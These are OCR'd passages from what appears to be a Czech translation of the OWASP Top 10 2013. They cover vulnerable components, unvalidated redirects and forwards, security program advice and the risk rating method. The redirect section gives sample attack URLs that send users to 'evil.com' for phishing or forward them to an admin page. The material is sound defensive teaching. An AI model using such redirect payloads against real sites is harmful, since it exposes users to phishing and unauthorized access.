komponentu v aplikaci pouZivate. BohuZel hldseni o zranitelnostech

v komerc¢nim nebo open source softwaru ne vidy jasné specifikuji, které
verze komponent jsou zranitelné. Navic se ve viech knihovnach nevyuziva
srozumitelny zpUsob Cislovani verzi. Nejhorsi je, Ze ne viechny zranitelnosti
jsou nahlasovany do centralniho, snadno prohledatelného systému. Je ovsem
potreba fici, Ze na strankach jako CVE a NVD se postupem ¢asu vyhledava
stale snaze.

Zda vas systém obsahuje néjakou zranitelnou komponentu, zjistite
prochazenim téchto databazi a neustalym sledovanim e-mailovych
konferenci a oznamenich o moznych zranitelnostech. Pokud néjaka
komponenta zranitelnost obsahuje, je potfebné zkontrolovat, jestli vas kod
prislusnou ¢ast této komponenty vyuziva a jaky dopad by mélo jeji zneu?Ziti.

Priklady utocnych scénaru

Kvali zranitelnosti komponenty muaze dojit k Siroké Skale rizik, at uz ji vyuZije
jednoduchy nebo komplikovany skodlivy software vytvoreny k utoku

na konkrétni organizaci. Jednotlivé komponenty ¢asto béZi s plnymi pravy
aplikace, a proto je nebezpedi vazné v pripadé kterékoli komponenty.
Nasledujici dvé zranitelné komponenty byly roku 2011 stazeny 22milidnkrat.

e Apache CXF Authentication Bypass — Tim, Ze nastala chyba pfi zavadéni
identifikacniho tokenu, mohli Utocnici pristupovat k webovym sluzbdm
s plnymi pravy. (Apache CXF je framework pro praci s webovymi
sluzbami, nikoli webovy server Apache).

e Spring Remote Code Execution — ZneuZiti implementace Expression
Language ve Springu umoznilo Uto¢niklim vykonani libovolného kédu,
coz znamenalo prevzeti kontroly nad serverem.

Kazda aplikace, kterd vyuziva nékterou z téchto zranitelnych komponent,
je zranitelnd, protoZe obé komponenty jsou dostupné uZivateli aplikace
primo. Dalsi zranitelné knihovny, které se pouzivaji hloubéji v aplikaci,
jsou zneuzitelné hare.

Jak tomu mohu predejit?

Jednou z moznosti je nepouzivat komponenty, které jste si sami nanapsali.

To je vSak témérf nemozné.

Mnohé projekty nevydavaji bezpecnostni zaplaty pro starsi verze svych

komponent. Misto toho se zranitelnosti vétSinou opravuji v dalSich verzich.

Proto je duleZité aktualizovat komponenty na tyto nové verze. Soucasti

softwarovych projektd by mél byt proces:

1. Identifikace vSech verzi pouzivanych komponent véetné vSech zavislosti
(napt. verzovaci plugin).

2.  Sledovani bezpecnosti téchto komponent ve vefejnych databazich
a projektovych a bezpeénostnich e-mailovych konferencich a udrzovani
jejich aktualni verze.

3. Stanoveni bezpecnostni politiky Fidici pouzivani komponent. Tato
politika by méla obsahovat poZadavky na metodiku vyvoje software,
bezpecnostni testy a pfipustné licence.

4.  Kde je to vhodné, pfidat do komponent bezpecnostni prvky, které
znemozni vyuzivani jejich nepouzivanych funkci a osetti jejich slabé
a zranitelné aspekty.

Odkazy
OWASP

* OWASP Dependency Check (for Java libraries)

* OWASP SafeNuGet (for .NET libraries thru NuGet)

* Good Component Practices Project

Externi

¢ The Unfortunate Reality of Insecure Libraries

* Open Source Software Security

» Addressing Security Concerns in Open Source Components

* MITRE Common Vulnerabilities and Exposures

* Example Mass Assignment Vulnerability that was fixed in ActiveRecord,
a Ruby on Rails GEM



http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3451
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3451
http://www.infosecurity-magazine.com/news/remote-code-vulnerability-in-spring-framework-for/
http://www.infosecurity-magazine.com/news/remote-code-vulnerability-in-spring-framework-for/
http://cve.mitre.org
http://nvd.nist.gov/home.cfm
http://www.owasp.org/index.php/Command_Injection
https://www.owasp.org/index.php/OWASP_Dependency_Check
https://github.com/OWASP/SafeNuGet
https://github.com/OWASP/SafeNuGet
https://github.com/OWASP/SafeNuGet
https://github.com/OWASP/SafeNuGet
https://github.com/OWASP/SafeNuGet
https://github.com/OWASP/SafeNuGet
https://www.owasp.org/index.php/OWASP_Good_Component_Practices_Project
http://www.owasp.org/index.php/Command_Injection
https://www.aspectsecurity.com/uploads/downloads/2012/03/Aspect-Security-The-Unfortunate-Reality-of-Insecure-Libraries.pdf
http://en.wikipedia.org/wiki/Open_source_software_security
http://www.sonatype.com/content/download/1025/10060/file/sonatype_executive_security_brief_final.pdf
http://cve.mitre.org/
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-0277
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-0277
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-0277
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-0277
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-0277
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-0277
http://mojo.codehaus.org/versions-maven-plugin/
http://mojo.codehaus.org/versions-maven-plugin/
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predavani

Neosetrené presmeérovani a

V,Ektor _ BezPe.EnOStni [ AN RRRRER BN ] Technické (ANl BN ) Obchodni
Privodci utoku  ie slabina dopady dopady
hrozby D —
Aplikaéni specifikum Zneuzitelnost Rozsireni Dopad Aplikaéni / obchodni
P P PRUMERNA VZACNE STREDNI specifikum

Utoénik vytvoii odkaz
na neovéfené
presmérovani a pfiméje

Vezméte v Uvahu
kazdého, kdo muze
podvést vase uZivatele
tim, Ze je pfiméje obét, aby na néj klikla.

k zaslani pozadavku Jelikoz odkaz sméfuje

na vase stranky. Takto je | na ovéfenou stranku,
mozZné zneuZit viechny obét na néj pravdépo-
stranky i zdroje HTML, dobné klikne. Utoénik
které uZivatelé pouzivaji. J zacili presmérovani tak,
aby obeslo bezpecnostni
kontroly.

Aplikace Casto presmérovavaji uZivatele na jiné
stranky nebo pouZivaji obdobnym zplGsobem interni
presmérovani. Nékdy je cilova stranka specifikovana
v neovérovaném parametru, a tak umozriuje
Uto¢nikdim vybrat libovolnou cilovou stranku.

Najit neovérené presmérovani na jiné stranky je
jednoduché: hledejte pfesmérovani, kterd umoznuji
zadat celé URL. Najit neovérend presmérovani

v ramci internich stranek je tézsi.

Zvazte obchodni
hodnotu udrZeni si
davéry uZivatelQ.

Toto presmérovani se
muZe pokusit nainsta-
lovat skodlivy software
nebo Isti pfimét uZivatele
k tomu, aby prozradil
heslo ¢i jiné citlivé
informace. Neovérené
presmérovani mize
umoznit obejiti
mechanism fizeni
pfistupu.

Co kdyz se nakazi
Skodlivym softwarem?

Co kdyz se utocnici
dostanou k vnitfnim
funkcim aplikace?

Jsem zranitelny vici presmérovani?
Nejlepsi zplsob, jak zjistit, jestli jsou v aplikaci neovérena pfesmérovani:

1. Zkontrolujte vSechna presmérovani v kédu nebo forwarding (v .NET
se nazyvaji transfer). U kazdého z nich zkontrolujte, zda je cilové URL
obsahem nékterého parametru. Aplikace je zranitelna, pokud je tomu
tak a pokud se toto URL neovéfuje v seznamu povolenych adres.

2.  Poutzijte také webovy crawler (spider), abyste zjistili, zda stranky
generuji presmérovani (odpovédi HTTP 300-307, nejcastéji 302).
Zkontrolujte, zda parametry pred presmérovanim neobsahuji néjakou
Cast cilové URL. Pokud ano, zkuste tuto ¢ast podvrhnout a zkontrolujte,
zda doslo k pfesmérovani na novy cil.

3. Pokud neméte k dispozici kdd, zkontrolujte a otestujte vSechny
parametry, které vypadaji jako ¢ast URL, na které je nastavené
presmérovani.

Priklady utocnych scénaru

Scenar #1: V aplikaci je strdnka s nazvem ,redirect.jsp“, ktera obsahuje jediny
parametr s nazvem ,url“. Utoénik vytvofi $kodlivé URL pfesmérovavajici
uzivatele na skodlivou phishingovou stranku, kterd nainstaluje Skodlivy
software.

http://www.example.com/redirect.jsp?url=evil.com

Scénar #2: Aplikace pouZiva interni presmérovani, aby pfepojila pozadavky
mezi riznymi ¢astmi stranek. K tomu nékteré stranky vyuZivaji parametr
urdujici, kam by mél byt uZivatel presmérovan v pfipadé Uspéchu transakce.
Pokud aplikace nekontroluje URL, Uto¢nik ho upravi a presméruje

na administrativni funkce, k nimzZ nenf autorizovan.

http://www.example.com/boring.jsp?fwd=admin.jsp

Jak tomu mohu predchazet?

PFesmérovavat bezpecné Ize riznymi zpUsoby:
1. Zadna presmérovani nepouzivejte.

2. Pokud uz je pouzivate, at cilova adresa neni ovlivnéna uZzivatelskymi
parametry. Toho se dosahne snadno.

3. Pokud se témto parametrim neda vyhnout, zabezpecte, aby jejich
hodnota byla platna a autorizovand pro daného uzivatele. Doporucuje
se, aby kazdy takovy parametr byl mapovaci hodnotou, nikoli
skute¢nym URL nebo jeho ¢asti, a aby mapovaci hodnotu na cilové URL
prekladal server. Aplikace mGze vyuZivat ESAPI s metodou
sendRedirect(), kterd zajisti, aby vSechna prfesmérovani byla bezpecna.

Tato zranitelnost byva ¢asto zneuzivédna rhybafi snazicimi se ziskat davéru
uzivateld, proto je nesmirné dulezité ji predejit.

Odkazy
OWASP

* OWASP Article on Open Redirects

* ESAPI SecurityWrapperResponse sendRedirect() method

Externi

* CWE Entry 601 on Open Redirects

* WASC Article on URL Redirector Abuse

* Google blog article on the dangers of open redirects

* OWASP Top 10 for .NET article on Unvalidated Redirects and Forwards
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Zavedte a pouzivejte opakovatelné bezpecnostni procesy a standardni Fizeni
bezpecnosti

At u? jste v zabezpeceni webovych aplikaci novacci, nebo jste s témito riziky jiz velmi dobfe obeznameni, tkol vytvofit bezpecnou
webovou aplikaci nebo opravit stavajici mlize byt obtizny. Spravovat velké portfolio aplikaci mdze byt narocné.

Aby OWASP pomohl organizacim a vyvojardm sniZovat nakladové efektivnim zplsobem rizika pfi zabezpeceni jejich aplikaci,
vytvoril fadu svobodnych a otevienych zdroj(, které mizZete ve své organizaci k tomuto Ucelu pouZit. NiZe jsou uvedeny nékteré
z mnoha zdrojd, které OWASP vyvinul, aby pomohl organizacim vytvaret zabezpecené webové aplikace. Na dalsi strance
predstavujeme dalsi zdroje OWASP, které mohou organizacim usnadnit ovéfovani bezpecnosti jejich aplikaci.

E—

Pozadavky na

Chcete-li vytvofit zabezpecené webové aplikace, musite definovat, co znamen3, Ze dand aplikace
je zabezpecend. OWASP doporucuje jako voditko pfi stanoveni pozadavk( na bezpecnost aplikaci

bzzﬂ?::;ﬂ pouZit svlj Application Security Verification Standard (ASVS). Pokud vyuZivate outsourcing, zvazte
P pouziti OWASP Secure Software Contract Annex.
A
Architektura Spise neZ dovybavit zabezpecenim stavajici aplikace je ndkladové mnohem efektivnéjsi aplikace
zabezpeceni jako zabezpecené uz vytvaret. OWASP doporucuje svou OWASP Developer‘s Guide a OWASP
aplikaci Prevention Cheat Sheets jako dobré vychozi body, jak planovat zabezpeceni hned od zacdatku.
p—— S
Budovani silného a pouZitelného fizeni zabezpeceni je nad miru obtizné. Vyvoj zabezpecenych
Standardni aplikaci radikalné zjednodusuje sada standardniho fizeni zabezpeceni. OWASP doporucuje jakozto
fizeni model bezpecnostnich aplikacnich rozhrani potfebnych k tvorbé zabezpecenych webovych aplikaci
zabezpeceni svlj projekt OWASP Enterprise Security API (ESAPI). ESAPI poskytuje referencni implementace v

Javé, .NET, PHP, Classic ASP, Pythonu a Cold Fusion.

J

A
Zahezpeieny Pro vylep3eni procesu, pod.le ného?Z vase organizace vyviji apIikacle, ,doporu_éuj(,a OWASP sviij
Fivotni cyklus Softwa,revAssuranc.g Matunt\{ M9de| (SAMM). T‘,er)to modvel pomahzla organizacim fon.‘n.ﬁuolovaf 5
e a provadét strategii zabezpeceni softwaru, kterd je vytvorena na miru specifickym rizikm, jimz
organizace cCeli.
J
a Y
OWASP Education Project poskytuje skolici materialy, které pomahaji vyvojardm vzdélavat se v té-
Vzdélavani v matu zabezpeceni webovych aplikaci, a shromazdil velky seznam vzdélavacich prezentaci OWASP.
zabezpeceni Chcete-li se o zranitelnostech dozvédét prakticky, vyzkousejte OWASP WebGoat, WebGoat.NET
aplikaci nebo OWASP Broken Web Application Project. Chcete-li zlistat v centru déni, pfijdte na konferenci

OWASP AppSec, skoleni konference OWASP nebo na setkani mistni pobocky OWASP.

,

K pouZiti jsou i etné dalsi zdroje OWASP. Prosime, navstivte stranku projektll OWASP, kde jsou uvedeny vsechny projekty
OWASP usporadané podle pripravenosti téchto projektl k vydani (k vydani, beta nebo alfa). Vétsina zdroji OWASP je k dispozici
na nasi wiki a mnoho dokumentli OWASP lze objednat vytisténé nebo jako elektronické knihy.
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Overovatelé, co dal?

Zorganizujte se

Pro ovéreni zabezpeceni webové aplikace, kterou jste vyvinuli nebo o jejiz koupi uvazujete, OWASP doporucuje, abyste zkontro-
lovali jeji kod (pokud je k dispozici) a také ji otestovali. OWASP doporucuje provést kombinaci bezpecnostni revize kédu a pene-
tracniho testovani, kdykoli je to mozné, protoze to umozZiiuje vyuZit silné stranky obou technik a tyto dva pfistupy se vzdjemné
doplriuji. Vykon a uc¢innost odborného analytika mlZou zvysit nastroje pro usnadnéni procesu ovéreni. Nastroje OWASP pro po-
suzovani se zaméruji na zvysSeni vykonu experta, spise nez by se snaZily automatizovat samotny proces analyzy.

Standardizace toho, jak budete ovérovat zabezpecéeni webovych aplikaci: Aby organizace mohly snaze rozvijet dlslednost a defi-
novanou Uroven pfisnosti pfi posuzovani bezpecénosti webovych aplikaci, vytvoril OWASP Application Security Verification
Standard (ASVS). Tento dokument definuje minimdIni standard pro ovéfeni za ti¢elem hodnoceni bezpeénosti webovych aplikaci.
OWASP doporucuje pouzivat ASVS jako voditko nejen pro urceni, na co se zaméfit pfi ovéreni zabezpeceni webové aplikace,

ale i technik, které je nejvhodné;jsi pouZzit, a pomUze stanovit a zvolit Uroven pfisnosti pfi ovéreni bezpecnosti webové aplikace.
OWASP také doporucuje pouzit ASVS pro pomoc se stanovenim a vybérem jakékoliv sluzby posuzovani webové aplikace, kterou si

muZete pofidit od poskytovatele treti strany.

Sada nastrojl pro hodnoceni: OWASP Live CD Project shromazdil do jediného spustitelného prostredi nebo virtualniho pocitace
(VM) nékteré z nejlepsich open-source bezpecnostnich nastroji. Webovi vyvojéri, testefi a odbornici na bezpecnost mohou
nabootovat z tohoto Zivého CD nebo spustit virtualni pocitac, a hned budou mit pFistup k Uplné sadé testovacich nastroju.

K vyuZiti nastrojd na tomto CD neni nutnad instalace ani konfigurace.

Revize kodu

Bezpecnostni revize kddu je vhodnd zejména pro ovéreni,

Ze aplikace obsahuje silné bezpe¢nostni mechanismy, a také
ke zjisténi probléml, které Ize tézko rozpoznat zkoumanim
jejiho vystupu. Testovani je zvlasté vhodné pro prokazani toho,
Ze slabiny jsou skute¢né zneuzitelné. To znamena, Ze tyto
pfistupy se doplfuji a vlastné se v nékterych oblastech
prekryvaji.

Revize kédu: Vedle OWASP Developer’s Guide a OWASP
Testing Guide vytvofil OWASP Code Review Guide, ktery ma
pomoci vyvojaram a specialistdm na bezpecnost aplikaci
pochopit, jak uc¢inné a efektivné zkontrolovat zabezpeceni
webové aplikace kontrolou jejiho kddu. Existuji cetné
problémy se zabezpecenim webovych aplikaci, napf. zranitel-
nost injektovanim, které je mnohem jednodussi najit revizi
kédu nez testovanim z vnéjsku.

Nastroje pro revizi kédu: OWASP ma slibné vysledky v oblasti
pomoci odborniklim s provadénim analyzy kédu, ale tyto
nastroje jsou zatim v pocatecni fazi. Jejich autofi je vyuzivaji
pfi bezpeénostnich revizich kédu kazdy den, ale neodbornikiim
se moznd pouzivaji trochu obtizné. Patfi mezi né CodeCrawler,
Orizon a 02. Od posledniho vydani Top 10 v roce 2010

se aktivné vyvijel pouze 02.

Existuji i dalsi svobodné open-source nastroje pro revizi kodu.
NejslibnéjSim je [FindBugs] a jeho novy zasuvny modul
zaméreny na zabezpeceni nazvany [FindSecurityBugs]. Oba
jsou urceny pro Javu.

Bezpecnost a penetracni testovani

Testovani aplikace: Aby vyvojafi, testefi a specialisté na bez-
pecnost aplikaci Iépe pochopili, jak U¢inné a efektivné
otestovat bezpecnost webovych aplikaci, vytvofil OWASP
Testing Guide. Tento obrovsky privodce s desitkami
prispévatel Siroce pokryva mnoho témat testovani
bezpecnosti webovych aplikaci. Stejné jako revize kdédu ma
své silné stranky i testovani zabezpeceni. Je velmi
presvédcivé, kdyz miZete prokazat Spatné zabezpeceni
aplikace tim, Ze predvedete jeji zneuZiti. Rovnéz mnoho
otazek bezpecnosti, zejména veskeré zabezpeceni
poskytované aplikacni infrastrukturou, se prosté neda najit
revizi kédu, protoze aplikace neposkytuje véechno
zabezpeceni sama.

Nastroje pro penetraéni testovani aplikaci: WebScarab, ktery
byl jednim z nejpouzivané;jsi ze viech projektll OWASP, a no-
vy ZAP, ktery je ted’ mnohem popularnéjsi, jsou testovaci
prostfednici (proxies) webovych aplikaci. Tyto nastroje
umoznuji bezpecnostnim analytiklim a vyvojariim zachytit
dotazy webové aplikace, ¢imZ mohou pfijit na to, jak aplikace
funguje, a pak odeslat testovaci dotazy, aby zjistili, zda na né
aplikace odpovi bezpec¢né. Tyto nastroje jsou zvlasté ucinné
pfi identifikaci zranitelnosti pres XSS a zranitelnosti v au-
tentizaci a fizeni pristupu. ZAP ma i vestavény aktivni skener
a, coZ je nejlepsi, je zdarmal
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Spustte hned program zabezpeéeni aplikaci

Zabezpeceni aplikaci uz neni nepovinné. Mezi rostoucimi Utoky a regulacnimi tlaky si musi organizace vytvofit u¢innou schopnost
zabezpeceni svych aplikaci. Vzhledem k ohromujicimu poctu aplikaci a fadk( kédu jiz pfi tvorbé usiluje mnoho organizaci o zvlad-
nuti obrovského mnozstvi zranitelnosti. OWASP doporucuje organizacim, aby si stanovily program zabezpeceni aplikaci, ¢imz by
ziskaly vhled a zlepSily bezpecnost celého portfolia svych aplikaci. Dosazeni bezpeénosti aplikaci vyZzaduje ucinnou spoluprdci
mnoha rGznych ¢asti organizace, véetné bezpecnosti a auditu, vyvoje softwaru a obchodniho a vrcholového managementu.
K tomu je potteba, aby bezpecnostni politika byla viditelnd, ¢imz by mohly vSechny strany vidét a chapat postoj organizace k za-
bezpecleni aplikaci. Také to vyZaduje zaméfit se na ty Cinnosti a vysledky, které skutecné pfispivaji ke zlepSeni podnikového
zabezpeceni snizenim rizik tim nakladové nejefektivnéjsim zplsobem. Mezi klicové Cinnosti u¢innych program zabezpeceni
aplikaci patfi:

R

eZavedte program zabezpeceni aplikaci a fidte jeho pfijeti.

eProvedte analyzu nedostatkd zpUsobilosti srovnanim své organizace s podobnymi a na jejim zakladé
urcete klicové oblasti pro zlepSeni a plan provedeni.

oZiskejte souhlas vedeni a udélejte pro celou IT organizaci osvétovou kampan o zabezpeceni aplikaci.

Zacnéte

| T

A
| e|dentifikujte a stanovte priority portfolia svych aplikaci z pohledu rizik.
Pristup k eKvlli méreni a stanoveni priorit aplikaci v portfoliu vytvorte model vyjadfujici rizika aplikaci.
portfoliu eStanovte voditka pro zajiSténi toho, aby bylo moZzno sprédvné definovat poZzadované pokryti a Uroven
zaloZeny na pfisnosti.
riziku *\/ytvorte model ohodnoceni béznych rizik pomoci konzistentniho souboru pravdépodobnosti a Cinite-

|G dopadu odrézejicich toleranci vasi organizace k riziku.

\

V- =Y
eStanovte sadu zacilenych politik a norem, které poskytuji vychodiska zabezpeceni aplikaci, jichz
Poskytnéte by se mély drZet vSechny vyvojové tymy.
moznosti s *Vytycte obvyklou sadu opakované pouzitelnych bezpecnostnich regulaci, které dopliuji tyto politiky
pevnymi a standardy a stanovuji pro jejich pouZiti navrhova a vyvojova voditka.
zaklady *\/ytvorte osnovu Skoleni o zabezpeceni aplikaci, které je potfebné a zacilené na rtizné vyvojové role
a témata.
N
Y

eStanovte a zaclente realizaci zabezpeceni a ovérovani do stavajicich vyvojovych a provoznich postupd.

Zaclense , Sem patfi modelovani hrozeb, bezpecnostni navrh a revize, bezpeéné kddovani a revize kédu,
zabe’zpe‘(’:e’nl penetracni testy a naprava.
do stavajicich L , vy . . . L . o
procesi oZajistéte 9dbv(3m,'ky na prislusnou problematiku a podporujte sluzby pro vyvojové a projektové tymy,
aby byly Uspésné.
)
V- Y
«Rid'te pomoci metrik. Rozhodujte o zlepsenich a financovani na zakladé metrik a zachycenych
Zajistéte analytickych dat. Do metrik patti dodrZovani bezpecnostnich postup i ¢innosti, sezndmeni se se zra-
viditelnou nitelnostmi, sniZeni zranitelnosti, pokryti aplikaci, hustota zavad podle typu a poctu instanci atd.
spravu eAnalyzujte data vzesla z implementace a ovérovani, pomoci nich patrejte po hlavnich pfic¢inach a sché-

matech zranitelnosti, a to pak vyuZijte k fizeni strategickych a systémovych zlepseni napfi¢ podnikem.

)
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Jde o rizika, nikoli o slabé stranky

Ackoli se verze OWASP Top 10 z roku 2007 a starsi zamérovaly na hledani nejc¢astéjsich ,,zranitelnosti“, OWASP Top 10 byl vidy
usporadan okolo rizik. To zpUsobilo pochopitelné zmateni ¢asti lidi, ktefi hledali perfektni taxonomii slabin. OWASP Top 10 v roce
2010 vyjasnil zaméreni seznamu Top 10 na rizika tim, Ze vyslovné popisoval, jak pGvodci hrozby, vektory utoku, bezpecnostni
slabiny, technické dopady a obchodni dopady spolecné vytvareji rizika. Tato verze OWASP Top 10 se Fidi stejnou metodikou.

Metodika hodnoceni rizik Top 10 je zaloZzena na OWASP Risk Rating Methodology. Pro kazdou z polozek seznamu Top 10 jsme
odhadli typické riziko, které kazda slabina pfedstavuje pro typickou webovou aplikaci, tim, Ze jsme se podivali na obvyklé
pravdépodobnostni Cinitele a Cinitele dopadu kazdé obvyklé slabiny. Pak jsme sefadili Top 10 podle téch slabin, které typicky
zanaseji do aplikace nejvyznamnéjsi riziko.

OWASP Risk Rating Methodology definuje fadu CinitelQ, které pomahaji vypoditat riziko identifikované zranitelnosti. Top 10
ovsem musi mluvit vSeobecnég, nikoli o konkrétnich zranitelnostech v realnych aplikacich. NemudzZeme proto pfi vypoctu rizik
hrozicich aplikacim byt nikdy tak presni jako vlastnici systém(. Pravé vy jste nejlépe vybaveni k posouzeni dlileZitosti svych
aplikaci a dat, plvodcll hrozeb a toho, jak je vas systém postaven a provozovan.

Nase metodika obsahuje tfi Cinitele pravdépodobnosti pro kazdou slabinu (rozsiteni, detekovatelnost a snadnost zneufziti) a jeden
¢initel dopadu (technicky dopad). Rozsiteni slabiny je faktorem, ktery obvykle nemusite pocitat. Udaje o roziifeni jsme ziskali

ze statistik rozsifeni od nékolika riznych organizaci (uvedenych v kapitole Podékovani na strané 3) a jejich data jsme zpriméro-
vali, z ¢ehoz vznikl seznam pravdépodobnosti existence podle rozsifeni v Top 10. Tato data se pak slozila s dalSimi dvéma
pravdépodobnostnimi Ciniteli (zjistitelnost a snadnost zneuZiti), a tim se vypocitala hodnoceni pravdépodobnosti pro kazdou
slabinu. Pro kazdou poloZku se pak toto ¢islo vynasobilo ndmi odhadnutym pramérnym technickym dopadem, coZ dalo poradi
celkového rizika pro kazdou polozku v Top 10.

Vsimnéte si, Ze tento pFistup nebere v Uvahu pravdépodobnost plivodce hrozby. Nepocita ani se Zddnym z vdemoznych
technickych detail( tykajicich se vasi konkrétni aplikace. Kterykoli z téchto Ciniteld mize vyznamné ovlivnit celkovou pravdépo-
dobnost, Ze Utocnik objevi a zneuzije konkrétni zranitelnost. Toto hodnoceni také nebere v Uvahu skuteény dopad na vase podni-
kani. Vase organizace se bude muset rozhodnout, jak velké bezpecnostni riziko plynouci z aplikaci je ochotna pfijmout v dané
kultufe, oblasti podnikani a regulaénim prostredi. U¢elem OWASP Top 10 neni udélat analyzu rizik za vés.

Nasledujici obrazek ilustruje jako ptiklad nas vypocet rizika pro A3: Cross-Site Scripting. XSS je tak rozsitené, Ze mu to jako
jedinému zajistilo ,,velmi rozsahlé” rozsiteni s hodnotou 0. VSechna ostatni rizika se pohybuji od rozsiteni ,,rozsahlého” po
,vzacné” (hodnoty 1-3).
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https://www.owasp.org/index.php/Top_10_2007-A3
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+é Podrobnosti o rizikovych cinitelich

Shrnuti deseti nejrizikovéjsich Cinitel(

Nasledujici tabulka uvadi prehled Top 10 — deseti nejvétSich bezpeénostnich rizik aplikaci v r. 2013 a rizikové Cinitele, které jsme
kazdému riziku priradili. Tyto Cinitele byly stanoveny na zakladé dostupnych statistik a zkuSenosti tymu OWASP Top 10. Abyste
spravné pochopili, jak tato rizika ohrozuji konkrétni aplikaci nebo organizaci, musite vzit v dvahu vlastni specifické plvodce
hrozeb a obchodni dopady. Ani obrovské slabiny softwaru nemusi predstavovat vazné riziko, pokud Zadny ptvodce hrozby
nemUze provést nevyhnutelny ttok nebo pokud je obchodni dopad na dotcena aktiva zanedbatelny.

RIZI KO % (ERE (N ) Yektory _ QOFummnnn | Bez!aecnostnl. (R RRE B[] TeChniCk% LI ] Obchodh
Priivodce utoku slabiny dopady dopady
hrozeb
Zneuzitelnost Rozsiteni Zjistitelnost Dopad
Al-Injektovani Apl. specifikum Béiné Primérna . specifikum
A2-Autentizace Apl. specifikum Prumérna Prumérna . specifikum
A3-XSS Apl. specifikum Primérna Stredni Apl. specifikum
A4-Nezabezpe. DOR [ Apl. specifikum Stredni Apl. specifikum
A5-Konfigurace Apl. specifikum Stredni Apl. specifikum
A6-Citliva data Apl. specifikum Vzacné Pramérna . specifikum

Béiné Primérna Stredni

A7-Rizeni pfistupu Apl. specifikum . specifikum

A8-CSRF Apl. specifikum Prumérna Béiné Stredni Apl. specifikum
A9-Komponenty Apl. specifikum Primérna Stredni Apl. specifikum
A10-Pfesmérovani Apl. specifikum Primérna Stredni Apl. specifikum

Dalsi rizika ke zvazeni

Top 10 pokryvaji velkou oblast, ale existuje mnoho dalsich rizik, ktera by vase organizace méla zvazit a vyhodnotit. Néktera z nich
se vyskytla v predchozich verzich Top 10, jina nikoli, v€etné novych utocnych technik, které se neustale objevuji. Mezi dalsi
vyznamna bezpecnostni rizika aplikaci (v abecednim poradi anglického ndzvu), ktera byste méli vzit v ivahu, patfi také:

*Clickjacking

*Concurency Flaws

*Denial of Service (bylo v Top 10 r. 2004 — Polozka 2004-A9)

*Expression Language Injection — Injektovani vyrazového jazyka (CWE-917)

*Information Leakage a Improper Error Handling (bylo souédsti Top 10 r. 2007 — Polozka 2007-A6)

*Insufficient Anti-automation (CWE-799)

*Insufficient Logging and Accountability (souvisi s Top 10 z r. 2007 — Polozka 2007-A6)

Lack of Intrusion Detection and Response

*Malicious File Execution (bylo v Top 10 r. 2007 — Polozka 2007-A3)

*Mass Assignment — Hromadné prifazeni (CWE-915)

*User Privacy
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Open Web Application Security Project (OWASP) - je celosvétova svobodna a oteviena komunita
zameérena na zlepSovani bezpecnosti aplikacniho softwaru. Nasim poslanim je ,zviditelnovat”
zabezpeceni aplikaci, aby lidé a organizace mohli ¢init o bezpecnostnich rizicich aplikaci
informovana rozhodnuti. OWASP se miize (iCastnit kazdy a vSechny nase materidly jsou pristupné
pod svobodnou a otevienou softwarovou licenci. Nadace OWASP je neziskova dobrocinna
organizace spadajici pod § 501(c)(3) zakona 26 U.S.C. Spojenych statli americkych. To zarucuje

trvajici dostupnost a podporu naseho dila.
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